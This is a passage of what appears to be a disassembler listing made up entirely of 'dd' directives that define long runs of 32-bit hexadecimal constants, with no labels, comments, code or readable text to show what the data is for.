		dd 6CF4DE29h, 0D1BE80DFh, 3B26591Eh, 61567B92h,	4B7A7EB5h
		dd 0D2BE158h, 9661A7Fh,	57C4A987h, 0E4A73667h, 9329828h
		dd 89CB8078h, 30A4CE82h, 0C2DA05F5h, 101055EDh,	0AEAD30B3h
		dd 5A8F1DF0h, 102AF96Fh, 0F04ED915h, 0F2BE8065h, 41352926h
		dd 0E9849AF7h, 55A1D21Ah, 95EC4DDh, 0F6D6A8EDh,	7125A02h
		dd 92411855h, 4A38BFECh, 8F4EEDE9h, 0EAD283E8h,	1613842Ch
		dd 0F966FB6Ch, 23258B5h, 3F08B9C2h, 0AD64D5A2h,	659E504Bh
		dd 274C6148h, 678AC680h, 72B512C5h, 0E908803Fh,	9F0BBFF4h
		dd 0B3E8BDD6h, 41F8F927h, 0F53D5EBFh, 691A6045h, 0F0B5EDE0h
		dd 0D271A0EFh, 42518160h, 50C435BAh, 93193B09h,	9E390342h
		dd 0A0715A98h, 0D44B8A6Fh, 0A3866127h, 0C3E4B791h, 0C4207490h
		dd 0F606BDF2h, 501F456Fh, 11C8E888h, 0BE6602A7h, 0BE16CEFh
		dd 0BD011454h, 63B920E5h, 0A2F34C60h, 0F710FD07h, 0D8839127h
		dd 0C3EE4F11h, 3405C1DEh, 92E94288h, 1A2DDEB6h,	59C97541h
		dd 0C7D02AEAh, 9DE12CE9h, 96909866h, 0F1C8995Eh, 6F7B4568h
		dd 209848A2h, 5492EAE9h, 0A0825F60h, 0FF26C81Ch, 8FAC7DBh
		dd 67B31C30h, 4B377B52h, 2C408505h, 4998542Ah, 17BF4Dh
		dd 5B662CC5h, 9859EF08h, 5B829810h, 1A294474h, 1419A7A7h
		dd 24B3E388h, 0A810F0DCh, 6665427h, 6E0C7390h, 98736376h
		dd 0A1421DE9h, 63CA607h, 0C44E65Ch, 7A08670Fh, 43C98F4Dh
		dd 260AD87Bh, 166B4B30h, 36A5002Bh, 0E976297Ch,	988A6820h
		dd 64B6202Fh, 4BFBAC48h, 0B2C385BCh, 0E0C5E9C9h, 0E0BD295Ch
		dd 1304461Bh, 0F95E5A7Fh, 12309579h, 0FACE3AFh,	0D99771C4h
		dd 0A44EE544h, 8216B071h, 0BB2D20AFh, 0B75F2AFAh, 23AF7F01h
		dd 7F600A1Eh, 3F688092h, 20F6584Bh, 40FC417Fh, 0FB3C98BAh
		dd 0CE295014h, 2F08419Bh, 191887h, 732CF7F4h, 9AE9136Ah
		dd 369C8C4Eh, 0A5296CCFh, 0D46649C0h, 5D0C9820h, 33168056h
		dd 0E077FA1Ch, 53451EF2h, 0FB79A50Dh, 0E62AD803h, 5981A806h
		dd 683C09DAh, 4DB01E3Eh, 0F27B2777h, 7749EBA2h,	0D9E07166h
		dd 0DDED2108h, 32B304ABh, 0B14F597Bh, 0CB47041Dh, 44149665h
		dd 0A7D7F9B5h, 68781AD6h, 477E5576h, 77F68302h,	7BB5EA98h
		dd 0B0EC283Eh, 7AB96518h, 69FB176Eh, 0E1FCF421h, 0E0E8372Fh
		dd 1C76FF3h, 0D2D10DBh,	7E5DAA47h, 0B0988E0Eh, 97E954Ah
		dd 2AD87EA3h, 52845C95h, 42BF74C6h, 97AD7414h, 0AC774B9Dh
		dd 0B104CC65h, 13AB2820h, 0CF26A2D5h, 0A5F3D6E6h, 737C2C2Fh
		dd 2832755Ah, 0E41011D7h, 0A9B829C2h, 414B0868h, 1C3C82A3h
		dd 0D98048CDh, 0B80A7B23h, 84DC2B07h, 49D205F5h, 958D4030h
		dd 0D6F78067h, 0F68CD160h, 5A080332h, 2FF2B156h, 0A7102E9Eh
		dd 0AF2D02D6h, 0A91BFD3Fh, 97FEAAF8h, 443D5011h, 63090885h
		dd 3645C1E2h, 65CA2F69h, 73496809h, 0B823967Dh,	8859939h
		dd 0F5806F25h, 70423B67h, 0A3EF4F89h, 0FCA15032h, 8AA180E3h
		dd 551D2974h, 82800BDh,	0E5810478h, 8D243277h, 41032050h
		dd 201750Ch, 98796118h,	0E2614D2Bh, 0FEE37EFBh,	167B7310h
		dd 2FE91433h, 651FE397h, 61EF8C7Eh, 624F91EEh, 33E297C2h
		dd 1279E6D2h, 94B354A4h, 636A8804h, 52C5EB60h, 16661A01h
		dd 0F9C64B72h, 4E74252Ah, 79C2A534h, 9D55E4C0h,	0FC08AAF1h
		dd 9DBF0242h, 0E1614901h, 0BE3DCCE7h, 16E97713h, 0F6808547h
		dd 0FECE601Eh, 2551EED0h, 8355A5B5h, 0D328A3FBh, 0F8D0B759h
		dd 1A5AF430h, 0FF4475E9h, 0F5C3F860h, 0AB457582h, 0DE4CAFBBh
		dd 894C721Ch, 137C4597h, 2160964h, 81C9F10Ch, 2318CB06h
		dd 90C3E92h, 6E4010F4h,	0E37449D8h, 28080516h, 0F1836A0Bh
		dd 0CB6CEB22h, 5C8CD22h, 1346D0CBh, 4E9CC037h, 18485D12h
		dd 9DCC3AC8h, 0F7811BE7h, 79C535DFh, 175C0AACh,	43F1D1A6h
		dd 1C97ECAh, 3A0C937Eh,	0AD2DBD1Fh, 577EAB49h, 969D87EEh
		dd 8311BDCFh, 0CE7F4019h, 0C83D4318h, 0E8349631h, 0B353B343h
		dd 6224CFF7h, 64D7F793h, 0B0BDBA9Eh, 0FB5E895Dh, 417AAEB6h
		dd 41B3D7F3h, 1EF26102h, 5D4C6B31h, 1EDECE0Bh, 0C527E34Eh
		dd 47FD849Ah, 0EF4B06D6h, 0C2024373h, 0BBC6CF5Bh, 0D1E94089h
		dd 38E8E4E0h, 0E3850535h, 0FBC50123h, 5E7B7D8Bh, 667B6202h
		dd 241664DDh, 50AD4197h, 5203535Ah, 0BF273768h,	25B0C640h
		dd 0C97EEAD1h, 0D81AB740h, 0AFDCC065h, 527ADE0Ch, 0C8259FB6h
		dd 6F6CE988h, 8DBD5EEFh, 3F0C729Bh, 0E220D50Bh,	23B0F5ACh
		dd 5B00B652h, 8006EEC0h, 8F610C6h, 7C58E9D6h, 30B95A00h
		dd 0F6B7558Eh, 610C9231h, 3268E483h, 0E4322E20h, 0B05E92h
		dd 9B5954B8h, 4C000D27h, 352B524Fh, 4A071178h, 10BEEC6Ch
		dd 0FF516DD7h, 96BB2BDCh, 0C9089DF8h, 64001631h, 967545Dh
		dd 1DE94309h, 0B937795h, 5CBA2A1Ch, 0DE41449Eh,	0D6B8505Bh
		dd 0F778B740h, 53055AD8h, 0CD08B1C5h, 7079FE8h,	4A3C5680h
		dd 4EC7896Dh, 0CC9EC58h, 65A2D9E9h, 0C95B8E7h, 6C4736A5h
		dd 5E32875Ch, 0D2D2269Bh, 2DB82AFh, 0DC895A33h,	0D205080Bh
		dd 0AF825913h, 0C1B8A152h, 0A44203E5h, 0B3E0CDDh, 16585B17h
		dd 0B8622CBEh, 29908E9Ch, 0A8E95309h, 0F868C2C0h, 1F80731Eh
		dd 0FB84A68Ah, 138BB47h, 45988905h, 0A46AE8FCh,	5DE847C0h
		dd 5C42BB35h, 75188B25h, 46BA3BC0h, 0FEC4E03h, 0B1D2CA81h
		dd 182A1D79h, 0DC812EBh, 46517524h, 0AE298501h,	6FD13Eh
		dd 0AD3DFEC4h, 0D60931B1h, 60F2015Ah, 3E537E50h, 0D02FCDD1h
		dd 41524D7Eh, 6F2D7829h, 41656200h, 1CEE8174h, 0E09B3F3Fh
		dd 1851D40Ch, 0C8E93F6Ah, 0E3029D49h, 7C9D73AAh, 2F151240h
		dd 7DACF550h, 86306A41h, 4D554112h, 5E5FD403h, 2D339402h
		dd 823AA690h, 0FC58C3FFh, 4707AC08h, 86C9BBBCh,	0CD0EC980h
		dd 7EE541E2h, 0A1A968B8h, 0BC634E53h, 1C6B6809h, 95C0987Fh
		dd 606CB556h, 0D9B55872h, 3F8D0861h, 59E46805h,	9D6F31BAh
		dd 7FF05F0h, 59DD3065h,	30F32278h, 50FA5D9Eh, 9B26B8FEh
		dd 0C11B345Ah, 0F8F9EF5Eh
		dd 21CDB776h, 1BB87E30h, 40392E32h, 47D90238h, 7D406B2Dh
		dd 33007982h, 88C18156h, 71406858h, 0B7E91241h,	3503CD73h
		dd 0B664F8F6h, 7B55062Eh, 30AEE516h, 38B35D3Ch,	5D0E1A1h
		dd 0ED6B56EEh, 0E1F07649h, 62B53718h, 1C45660Ch, 17E95F4Ch
		dd 0D6DAE83Fh, 0BE9659FDh, 2870C208h, 0EDF22E7Eh, 809B4503h
		dd 0D8305A0Ch, 80867B5h, 3E27952Bh, 805C0568h, 0D18821EDh
		dd 31D2F61Eh, 55086E96h, 21253E84h, 0E5B4E24Ch,	4536D928h
		dd 5ED069D7h, 0E25727C0h, 4C7DABE5h, 0ADB880ECh, 31560C7Eh
		dd 0C742D929h, 9BD8240h, 7C934FCCh, 83592077h, 90566061h
		dd 69AA2EA1h, 0ADE9043Bh, 0D1CAFFCCh, 8917A24Ah, 42EE7C59h
		dd 0E988B5h, 6CCB7F31h,	115224h, 14963890h, 43542B68h
		dd 0DA4BD8A4h, 126615C8h, 4248BBh, 540DE359h, 469239E9h
		dd 0F020D8BDh, 0B362E77Fh, 1716109h, 225718A9h,	78DBE918h
		dd 0EE32E41Eh, 0F23D5FFDh, 9BD297DEh, 0E1C2AB08h, 127A40F8h
		dd 0DF61EF5Dh, 3000F049h, 0E1E65BDCh, 47BAC0F4h, 5FF02058h
		dd 0BE10BDE8h, 38AE4BEDh, 0F14DE92Bh, 7E6809DEh, 609FF62Ah
		dd 51B20F5h, 2913535Ah,	0DD0BE21Ah, 0CE90A8C4h,	1CFFB882h
		dd 4E4125A1h, 7580F692h, 3F116197h, 449609FCh, 38BA5A16h
		dd 4D4DE9F9h, 0F0805FFDh, 9D2BF611h, 0C14A22F2h, 6EC54B88h
		dd 6BC44BC7h, 0F6DDAAD1h, 0C4F2443Eh, 2D21CAD6h, 7E20158h
		dd 502F5DBAh, 0C24D08E8h, 7CF4A55Bh, 20680B9Bh,	8D139A06h
		dd 12824D55h, 4B0DE9F5h, 8AF05746h, 0CB26D5Ah, 22BFD192h
		dd 1C327D82h, 85ECE1F7h, 52A75B12h, 283CE318h, 4A986E0Dh
		dd 0C1092DFCh, 0F077CB47h, 0A2B70995h, 27FE0B11h, 7934914h
		dd 26343239h, 2373F160h, 17E7C9Dh, 0B82CCDC7h, 44CF0160h
		dd 0E90804B0h, 0A851D590h, 0ADC73C24h, 5ABD05E4h, 0FA76D5E3h
		dd 0C481581Bh, 36C42D80h, 119863ADh, 8B735E4Dh,	428BF35Ah
		dd 0F409EF44h, 9037071Eh, 40A4B27Bh, 0A937E675h, 0BD2A5F4Ah
		dd 0FCAB25C5h, 0E50E65Fh, 0AF04C597h, 2A12E2B1h, 13AC5116h
		dd 0B60A0CB2h, 4DC752A5h, 5575F375h, 1D20C221h,	0B94918D8h
		dd 7A92B87Bh, 0E9444B04h, 5402C07Ch, 0BB74555Eh, 42095102h
		dd 0E674400Dh, 64BF053Fh, 59B2AFE9h, 0FC596C9Eh, 3CB8C2C9h
		dd 2DF00948h, 684590EFh, 5244F678h, 0BF587829h,	0C3030764h
		dd 60A45A0h, 677EDF68h,	611FB981h, 0E46A020Bh, 0D016FC91h
		dd 12F0DA95h, 3076415Ah, 71953CE6h, 0BF514424h,	0E909049Ah
		dd 3FF18837h, 5E11827h,	4330022Eh, 2DD0013Fh, 0A2E90782h
		dd 53BC2278h, 9EFA6550h, 42716BD6h, 553CC942h, 32A755E7h
		dd 0C964FFE2h, 5D180B7h, 2535E330h, 1371D7F7h, 0B7820718h
		dd 2862244Eh, 93DA27E6h, 89F00134h, 5271C2EFh, 0BE81AD04h
		dd 0B66E862Eh, 0E0672060h, 1C72F0F0h, 1F202C5Ah, 0E912FAD8h
		dd 2D67405Ch, 697164FAh, 0D6D58BBDh, 0B3831397h, 140258BFh
		dd 8430FEDDh, 413598Ah,	1E414C36h, 0C357A47Bh, 3F3F108h
		dd 0B73EB252h, 91F530CAh, 8215E6FAh, 9B6A45A2h,	6B2FFA61h
		dd 0A07B1AF1h, 8248FC6Fh, 78B2A7A8h, 85D5A9AFh,	67FE2530h
		dd 4ED19372h, 2CF8F90Eh, 180D539Eh, 873E677Ah, 0A14682E6h
		dd 0B00B18EAh, 48757BCAh, 9F348BBCh, 96BD1E4Ch,	0E55E6AB9h
		dd 0F25C0060h, 0B7BB9F79h, 5BDA9E16h, 877C35B1h, 1D691810h
		dd 0C3C9D601h, 0C5BE94E7h, 97D3870Dh, 0C5554969h, 0DFE90459h
		dd 0D57CD7F7h, 215422F5h, 4AAF9A83h, 7385D940h,	9C06881h
		dd 0D6E8EFDBh, 2D98AE59h, 25744AD8h, 71871FC0h,	25CA9C82h
		dd 0F1A817E0h, 555E26C9h, 87C5243h, 18CB7790h, 0A4675C05h
		dd 0EC680530h, 0DE30EA0Fh, 5543CBCh, 0E6C15E71h, 0BB03C207h
		dd 0B7C5A09h, 3E3973E4h, 8E975608h, 0A605CEB9h,	361B8201h
		dd 78FE3041h, 90F85AA8h, 3CF821B1h, 0E8C1C05Bh,	5BC83110h
		dd 1B164550h, 6D99FA57h, 32B0212Fh, 5A020560h, 55F280FCh
		dd 0CC84F204h, 0E05BD7Bh, 312F0B42h, 9775DBFh, 0D3FCD464h
		dd 0E002B273h, 80936CA0h, 0EEE5C331h, 6C397C41h, 0B52E9F1Ch
		dd 19045797h, 660176BCh, 706AB151h, 9DDF86EFh, 665020D2h
		dd 0F2F55E82h, 9264DAEDh, 0A8E65FB7h, 4999127Dh, 0E36834EBh
		dd 0C3800E4Ah, 0F8F21C8Ah, 3CB9D1B1h, 0A7977B13h, 9E041FDEh
		dd 16FE5248h, 7A6360B9h, 2B5AD745h, 802AAB5h, 0E7475F59h
		dd 0A76622A7h, 0B468013Ch, 0DECD3E74h, 0E9C2F939h, 0A65CBEA6h
		dd 0FB125B9Eh, 5928A3B8h, 7FD80B3Ch, 0BC664C1Eh, 0D0745C95h
		dd 0E925F1F7h, 0BB83003Ah, 606B1739h, 60124C62h, 0E92D1A2Fh
		dd 59D3849Ch, 4E42F3B6h, 98CF1D2Ah, 0A43B0BA7h,	0E280A6C1h
		dd 21B52552h, 9820176h,	0CF2A7708h, 3E1076h, 0E1814149h
		dd 0B0651502h, 16EBFC01h, 1D7C2EDh, 51730DC3h, 71CF421Dh
		dd 25B26757h, 9135BCDDh, 40E209A1h, 1BF30FDh, 0B4CCF8D5h
		dd 0D1300048h, 0D4C1805Ah, 3365C9E6h, 88FEF00Ch, 0C5905B9Dh
		dd 0A598CE79h, 623F6F41h, 0C0FF59C5h, 164F3E6Bh, 0AE5E15A1h
		dd 0F7F66C40h, 13015A14h, 4FA0F0E9h, 0FECAE8D6h, 0A5452DDDh
		dd 750C839Ah, 2068CA21h, 93BD5141h, 32A307D9h, 0A5151618h
		dd 122DBEB0h, 8B720124h, 0B0012A85h, 18244691h,	8653506h
		dd 237887C2h, 10951A31h, 600153BDh, 48088C82h, 40C71876h
		dd 6663C85Dh, 10528C10h, 108FBF08h, 627E6A94h, 3FB628FCh
		dd 10D53303h, 107A3C10h, 7031C1A7h, 0E2783449h,	0FC069804h
		dd 0BB2010F9h, 526C200Ah, 8B24631h, 6101A80Ch, 45208C91h
		dd 6278080Bh, 0A59A18B3h, 73A94E03h, 9F4A4010h,	87080F66h
		dd 3BD220B1h, 8546831h,	3088B915h, 0C3082928h, 66F70C93h
		dd 80A80718h, 8DF8B6Ch,	0D10B550h, 0E76E1054h, 18F39C10h
		dd 8A40421Ch, 535E8069h, 0C93F10C4h, 61AF304h, 20081FC6h
		dd 5A205E56h, 9B40315Dh, 11D7E28h, 10888ABFh, 9D089635h
		dd 0D42C1570h, 8D1AC18h, 20C68785h, 200818DFh, 4B541217h
		dd 0B9C4CA80h, 0F504C89Ch, 89440C7Ah, 10D9626Dh, 2F030302h
		dd 0E081077h, 0D61618A0h, 0C8EFB420h, 3A0C15C9h, 402E10AAh
		dd 0A8A89762h, 81CC6B87h, 6F3210E8h, 746C0856h,	0DE40F518h
		dd 459E404Bh, 8B088866h, 19A16729h, 79309CB6h, 2AFBF941h
		dd 70B4C3B9h, 0AB08C63Eh, 26311897h, 0D0C7085Fh, 7048B702h
		dd 0EB835052h, 0C8614453h, 86C63E0h, 28185725h,	0D6083DE8h
		dd 0D818C64Fh, 0ED200860h, 0A37F20E2h, 7C509C24h, 8610B090h
		dd 33B81847h, 80565108h, 20C58E91h, 804CA568h, 630E08AFh
		dd 36112099h, 0C008083Fh, 23E404Ah, 4071A740h, 8340AC10h
		dd 23394069h, 3448C663h, 0DF08185Eh, 9032181Bh,	9A2708C4h
		dd 905F5094h, 7C085F98h, 0FB18CCA6h, 9140C829h,	51DB6C4Fh
		dd 0D36455C1h, 0DC914110h, 6C018ADCh, 181C03F2h, 8C4A631h
		dd 20C98476h, 654422E9h, 93A10416h, 49EE0554h, 0F186E08Bh
		dd 38399B62h, 43A80263h, 0E8464A05h, 0A9A1B867h, 9188EF6Ch
		dd 5E0C9125h, 6F2E0892h, 397818F6h, 18C494FCh, 0EF047929h
		dd 0FE8305A8h, 31D8E851h, 440FE99Bh, 0ECEA1088h, 2486308h
		dd 0E8FC9C60h, 40B5A464h, 924E8948h, 1A60B757h,	10C04BA1h
		dd 752C473Bh, 13EB1802h, 0A7B90E89h, 5803DDEh, 408F4401h
		dd 0C90B0449h, 878BF775h, 0DE811E89h, 3DB9F003h, 0C0331EF0h
		dd 4FB10F03h, 0D92C4B30h
		dd 2092E5Fh, 0DE20F5D3h, 521A2CD7h, 3CBAB25Ch, 0D21399D0h
		dd 53695E4Ah, 27D8347Ah, 0EE7DAE62h, 0EB36C52Eh, 973FB63Dh
		dd 0E98E08DCh, 0DD581ACDh, 0C4F6E366h, 0C020646Bh, 9F52597Bh
		dd 0E917546Ch, 41E8D0BEh, 0EBFF8AC5h, 337DF6CBh, 4E0A706Ch
		dd 0A60C61B1h, 0F65ABE6Eh, 0BA56C449h, 76E4B94Bh, 11D92F67h
		dd 55E9C140h, 2F469FB0h, 226197F2h, 61A86862h, 8B86302Eh
		dd 0A13C54Ch, 6FBDF87h,	2245D0AEh, 17E650B7h, 0B0289244h
		dd 113AE836h, 0FC09A5A3h, 7AB2805Ch, 0BE560B33h, 461E5D00h
		dd 0E9F23120h, 47D56E25h, 7E14FBC6h, 0B430595Fh, 1AD6857h
		dd 5F0D3112h, 0EFE9F909h, 2E37ABB4h, 88EB7D92h,	0FB8CC309h
		dd 5AEFDF21h, 0EDCF4602h, 5137169Ah, 1C3E0E50h,	30A6F327h
		dd 0B3E95507h, 50924164h, 88C591B8h, 0E0D1AFDAh, 81005F8Ah
		dd 3A714FEDh, 1AAE1CB5h, 0A3B5D4E9h, 7060825Fh,	9296F943h
		dd 0EDDDEFC2h, 611E806Fh, 1909820h, 87B12C4Fh, 1325CE7Eh
		dd 0CFA8FE67h, 4CB868F0h, 8E895197h, 0EA41E588h, 0C2A658E9h
		dd 6BE37B5Dh, 8C8C515Eh, 915A1053h, 3E7BCBA0h, 918608h
		dd 0C04B46BAh, 0DA4AF736h, 2D51FAA0h, 33562EDDh, 0D639E90Ah
		dd 50CD8180h, 0A0425D6Fh, 305792A9h, 99342E56h,	20CB068h
		dd 2F119EE9h, 311903C5h, 0F50176F0h, 5E083240h,	0BDC14BDh
		dd 1366DE9h, 72557ACAh,	255C7E9Eh, 325DFDC8h, 0E36F7774h
		dd 0DE5029ADh, 0A85E93DBh, 74892791h, 0DEC51269h, 7F064223h
		dd 5ABEF497h, 0AAF31CF5h, 21CC404Ch, 207C2659h,	251B03CAh
		dd 0DFF306A5h, 0A0081C41h, 5B5F141Ch, 0C2B9AC34h, 8A25ED84h
		dd 0BCC5E42h, 147D6BDBh, 58010EC4h, 3E316C25h, 2A8F834Bh
		dd 280F0935h, 0CA331213h, 7CA25B38h, 422250C5h,	476068C4h
		dd 0C5A71875h, 58ECD152h, 5B58E3D7h, 0E85F46E6h, 3DBB4BEFh
		dd 0E9B22046h, 5AF15618h, 3DA91B0Ch, 911BA50Eh,	77D0286Ch
		dd 66FB9E21h, 0B8B9003Dh, 0E90FA261h, 0F8505FC0h, 10EEF227h
		dd 0EC4C93E9h, 2E5BCF32h, 9D20D36Bh, 3B67F0CAh,	0EA1D2F5Dh
		dd 9576BFEFh, 0F52616F0h, 4B8AC71Ch, 0F9C28A71h, 0B9C49364h
		dd 0E83E07Ch, 26D86B8h,	39B1A397h, 0FC5C8117h, 1C8427EDh
		dd 0A499AF19h, 1819643Eh, 0C9A73DDEh, 30A5BC1h,	0E130046Ah
		dd 615C73F8h, 389AE82Ah, 0E8948BDBh, 0FA86204Dh, 95D6895Fh
		dd 16E97518h, 0D4F8084Fh, 0AE5C21A2h, 0D405ECE4h, 0EBD9F4D3h
		dd 55AB5405h, 0B2E821A4h, 0DC6853B1h, 5619C31h,	0A5FE91Fh
		dd 30874E01h, 620CCD0Dh, 0EC123D25h, 30D72755h,	0E9860EFCh
		dd 95BC4664h, 0C70FA1A2h, 523130CEh, 0DBA222Fh,	0F44065D4h
		dd 0CC5C4FB8h, 114955ADh, 10E94955h, 257DE1B9h,	0C6FAFB9Ah
		dd 4234A405h, 94033175h, 0A23AE281h, 0B9E0FD1Fh, 0E6253FF7h
		dd 0F25DE80Fh, 0E1D07110h, 9E15B03Ah, 5754C467h, 0F785A862h
		dd 821AE1ACh, 0B8636FC8h, 0CB60D32Fh, 0EBE65FF3h, 6F33487Fh
		dd 1C09A61Ah, 38676450h, 0AFA4324Ch, 0B42B1A29h, 0BB604EB9h
		dd 56B1B916h, 0CA734828h, 2D60E9B0h, 4BF3A09Fh,	0D09A7094h
		dd 0F912BAA8h, 76CDB85Fh, 245B7490h, 0F62BEBF1h, 906D581Dh
		dd 58C090C1h, 11AF81E2h, 0F310D87h, 0FA581792h,	0DEFF2649h
		dd 51660F86h, 0B8CC3C1Bh, 0B4500216h, 5EE12836h, 80710932h
		dd 0B0BA4657h, 9BBA200Ah, 2C08BBDh, 0BC14F37h, 0B42FAB78h
		dd 0EA29F9FAh, 34A36318h, 0CF0D3403h, 0D125EC2Ch, 0C380175Eh
		dd 8E216CE7h, 0C7723114h, 0E908F860h, 0A4014EC4h, 1B85BDB9h
		dd 0B958D0ACh, 0FE487FABh, 0AFF11489h, 13EF0006h, 154385Eh
		dd 9F5156CFh, 0B70EB828h, 220D4B43h, 664F2AE9h,	0A74A9722h
		dd 0E52624F5h, 0CAC5B827h, 800AC0FAh, 0E7303FECh, 0F85E5870h
		dd 60A6E02Ch, 0BF2D0A32h, 517A7A3Ch, 46B83F25h,	2E321D54h
		dd 261AFB5h, 0F1BC2E08h, 8209EE86h, 99B06655h, 0CF06F908h
		dd 0F8570643h, 0FF51D268h, 5FF56535h, 6C6BC147h, 0FD55F8C9h
		dd 0D7665C2Eh, 0AA21BBCBh, 0B5738E1Fh, 0FB1BF707h, 0E10512Eh
		dd 6040EE7Eh, 91244286h, 6B288A4Ah, 0D6433824h,	9007EB03h
		dd 1C4A610Fh, 20371DF9h, 8D6BE64Bh, 5A77D456h, 5D26447Dh
		dd 0BC5FD827h, 0F488A4CEh, 22F96F7Eh, 6B04FB12h, 74BA1A22h
		dd 2FB1CBA0h, 0F7A36257h, 2B2A27C0h, 5467F62Dh,	9BF7C029h
		dd 45613E03h, 2995E95Dh, 85F48628h, 2ACACDD3h, 0AE4A8DA2h
		dd 0F529252Bh, 9D0D06E8h, 5B280876h, 6590CD19h,	91D33325h
		dd 8EE45645h, 0C5A2B728h, 0A25717CDh, 64C71E80h, 0B0810B2Ch
		dd 0BE007F4Dh, 771F1AACh, 0E8E8295Bh, 0BF5A0840h, 0B9E9CC0Fh
		dd 30B3F12Dh, 40829991h, 18535291h, 5E8073B7h, 0F84A8850h
		dd 0D83030E1h, 1302582h, 0CCCA7079h, 0EC76D802h, 0E6A0F813h
		dd 812AB8EEh, 0A27E290Bh, 0C5F91489h, 0C60BDEB2h, 8146F4BEh
		dd 581DC381h, 73748E28h, 0E05A10CEh, 13133D46h,	841A1B8Eh
		dd 2FD04CB9h, 77985EF2h, 0DF60CFE9h, 65B2BD1Ch,	0D22D5032h
		dd 9EF1320h, 0BF350D3Bh, 0E07C7A20h, 85595910h,	9710D790h
		dd 0FF562984h, 81465E72h, 0B953B868h, 0D53B603Fh, 5187F782h
		dd 4C7D0997h, 2C8B5C0h,	899A2A29h, 5E2CC25Fh, 762BBAADh
		dd 0B963353h, 18E15E2Ch, 4EB5562Ah, 9D0B1DA2h, 67629AA0h
		dd 0CABF137Ch, 58080580h, 5E8445FFh, 9C25EE69h,	9FBFA500h
		dd 2290221h, 71F2CF81h,	50000314h, 80530D09h, 0D170B2E9h
		dd 722287C4h, 0C3015F03h, 6E8A94F1h, 5D83F227h,	34FD24D6h
		dd 59C660CEh, 561A7B27h, 8004DEF7h, 5E6F2933h, 0EC049716h
		dd 3099F5E9h, 201FB007h, 0E1010986h, 4D6F0B1Eh,	6DCE440h
		dd 0E9830BF3h, 0E47CF8D8h, 317B5C3h, 0F5AC741h,	34DACD4Ch
		dd 0F8589CA4h, 0CFABB5B7h, 28FA4A99h, 5F4B4544h, 0E9977AE6h
		dd 6858816Dh, 0CC2B54D6h, 23033507h, 0C2E914E7h, 0F5098765h
		dd 7A9D3E3Ch, 0E94A121Dh, 780CF3F1h, 4AFF2D49h,	0ECAB44BEh
		dd 70E913D9h, 3A5D91A4h, 896C22FAh, 0BF4A8455h,	402DD9BBh
		dd 0C55E44FAh, 0DCE96109h, 9C512295h, 8252D4F6h, 5AAB22A3h
		dd 0F1187CE8h, 0D92742A7h, 132789A6h, 8CDD131Ah, 3FC39582h
		dd 3D8F1CAEh, 0B0A9DA89h, 7F5F0CC1h, 7B0DB28Ch,	0D4569D4Eh
		dd 2DC75D52h, 0E8BDF9ADh, 0E3C0CD4h, 8094D059h,	0A305AC2Ch
		dd 0DE82E4C0h, 0B20F6815h, 0C5E09568h, 6CFCEC2h, 0B4CE405h
		dd 0E3C48F94h, 0FA9753C6h, 6B4B5020h, 1D6C1D6Dh, 8FF38156h
		dd 40559C54h, 0CC02CDC1h, 0A2B17CC4h, 0D5685107h, 0B755425Eh
		dd 0DCE18826h, 0F9868ECh, 907E1C1h, 0B9C1E0AEh,	2E5849D2h
		dd 326C6213h, 0E5545DC9h, 0B190C993h, 5EF51DC6h, 56F5F892h
		dd 0A1A85AD5h, 930A0148h, 16A55045h, 9721BF7Ch,	56EEB6E9h
		dd 1CBE506Ah, 0DBFC015Fh, 6341BAE4h, 6D144977h,	0E90BDA4Bh
		dd 0C0FCA28Ch, 89197C52h, 0ED755A54h, 38688F1Ch, 445DCCF2h
		dd 812C9AB6h, 1674300h,	9F4D3E68h, 0D15FB8C6h, 172B6B98h
		dd 1E527636h, 28B46AEDh, 13D408E5h, 0A9E054Ch, 0AC86FDDDh
		dd 70C60B5Fh, 95D53675h, 0B8504518h, 347D6701h,	58C53155h
		dd 4EE22C85h, 0EF9F0505h, 7F14C151h, 35220516h,	8F6B77E7h
		dd 0FA84039Ah, 29660227h, 6338C1C7h, 784EF62Ch,	0F29709EDh
		dd 0B3390099h, 0FA3132BFh, 0EC5536E9h, 64DED8E9h, 5F46EA13h
		dd 39196ACBh, 30D35B6Dh, 0C6961F4Ch, 0F919EB09h, 0E732AD58h
		dd 856D29D5h, 49A0CEB4h
		dd 51F80E28h, 0E8A475B5h, 1499AE59h, 87402C69h,	0E16B70DAh
		dd 8B18A66Bh, 58F6408Dh, 0B819BB5Dh, 7B470226h,	596F1BF3h
		dd 7E5305E3h, 40A364D8h, 68255D80h, 4BFB5088h, 2DF8015Fh
		dd 60D37C0Ch, 0D3D37A88h, 1CDC9EAEh, 4E38CC60h,	67846EEDh
		dd 5E4CB70Eh, 0E9820BB2h, 0CE6E12E4h, 0AC6F5095h, 1142AA82h
		dd 0D5F7FE11h, 0E951B8A4h, 4E528890h, 0BFD654F2h, 0C1548362h
		dd 0A0AC1EB2h, 0C5DF07FEh, 0BEDD75CCh, 4E4F4C01h, 0C850299h
		dd 0C7D1220Eh, 11142459h, 4C502DFCh, 9AF0502Fh,	85386071h
		dd 3294709Bh, 936901B0h, 7470A527h, 5A2E14BCh, 932E15FDh
		dd 3273EB03h, 7DD9A770h, 8E283F53h, 0E136A14Fh,	0BDF36DDCh
		dd 0BC3243E4h, 40524838h, 0BA24D746h, 508CA1C4h, 57005826h
		dd 0A17B0C68h, 0E9175F1Bh, 0F5AC69FDh, 49664ADEh, 31E1A5B3h
		dd 62C865B7h, 0FE68C3E9h, 159F3410h, 16DDFB82h,	1683C361h
		dd 0E8E193BAh, 2B557BF7h, 0AF615980h, 7C49E1F9h, 545563DCh
		dd 56EE4C35h, 0F82F29AEh, 7FC10AE0h, 0CD471BC1h, 5D31B1CFh
		dd 262A2D20h, 0BB9177E9h, 322CB08Dh, 1D6A31AEh,	2FCD3B6Bh
		dd 12491460h, 0B8080E61h, 0F5EF12CBh, 0A71765EBh, 0C0E91358h
		dd 0CE305B47h, 250DED73h, 0A457530Eh, 0B5AA59FCh, 0E4356DC1h
		dd 4AE93428h, 3A20F130h, 39844AE3h, 50C341F2h, 68CC2E78h
		dd 0CC6EFD7Dh, 0F097DE41h, 170C91BDh, 0AF7E5706h, 3DA50E27h
		dd 9D5CF0B0h, 32FC5C9Ah, 3B6B0446h, 6CB4F520h, 0F28C063h
		dd 2D0A7B02h, 0E0BD4C48h, 2D577D08h, 0D0058A5Ch, 41EB8B53h
		dd 253EF6B6h, 0F19C42B0h, 21507AFEh, 86E4BFC8h,	0A928E328h
		dd 0B86C2BFh, 0DEB22BCAh, 1185D273h, 14EF8A71h,	1A7F5450h
		dd 5F541035h, 1A542946h, 3A5C68B3h, 391F84A4h, 904177CDh
